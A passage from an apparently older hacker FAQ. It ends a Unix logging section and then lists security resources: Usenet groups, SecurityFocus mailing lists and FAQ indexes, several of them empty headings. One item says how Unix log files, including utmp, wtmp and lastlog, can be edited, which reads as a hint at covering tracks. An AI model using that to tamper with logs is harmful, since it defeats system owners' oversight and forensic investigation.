/var/log/maillog
Logs inbound and outbound mail activity
/var/spool/lp/log
Log file for printing

There are more, but this should give you an idea.

31.2 How do I edit/change the log files for Unix?

Most of these files are text files and can be easily edited, assuming you have the permission to do so. But some of these files require you to write special tools to edit them, mainly utmp, wtmp, and possibly lastlog.


Top | Next: Hacker Resources | Previous: Unix Remote Attacks | Table of Contents

32.0 Hacker Resources


This section contains information regarding resources for hackers.


32.1 What are some security-related WWW locations?

General:

Windows:

Netware:

32.2 What are some security-related Usenet groups?

Tons o' newsgroups....

Security in general:

Web stuff:

NT Security:

NT in general:

Netware Security:

Netware in general:

Microsoft's newsgroups:

32.3 What are some security-related mailing lists?

Most of the security mailing lists (including Bugtraq) are operated by SecurityFocus. You can sign up for 'em here.

For suggestions outside of SecurityFocus' offerings, browse through the multi-list archives at insecure.org, Neohapsis, and The Aims Group.

32.4 What are some other FAQs?

There is also the faqs.org Computer Security Index, allegedly a list of every FAQ for every Usenet security group, but the majority may be outdated.


Top | Previous: Unix Logging | Table of Contents